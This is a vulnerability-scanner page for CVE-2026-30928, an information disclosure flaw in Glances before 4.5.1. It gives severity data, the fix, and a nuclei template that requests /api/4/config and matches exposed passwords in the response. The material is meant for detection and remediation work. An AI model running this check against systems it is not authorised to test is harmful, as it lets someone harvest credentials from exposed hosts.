Glances - Information Disclosure

highseverity

7.5CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.

Impact

Attackers can access sensitive credentials, including passwords and keys, leading to potential full system compromise.

Fix

Upgrade to version 4.5.1 or later.

How to confirm it

Send: GET {{BaseURL}}/api/4/config
Positive when: matches /"password": "[A-Za-z0-9_@.#&+-;$]*",/ AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-30928 -u <target>

The full check

id: CVE-2026-30928

info:
  name: Glances - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.
  impact: |
    Attackers can access sensitive credentials, including passwords and keys, leading to potential full system compromise.
  remediation: |
    Upgrade to version 4.5.1 or later.
  reference:
    - https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30928
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-30928
    epss-score: 0.0181
    epss-percentile: 0.78797
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,glances,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/4/config"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"password": "[A-Za-z0-9_@.#&+-;$]*",'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from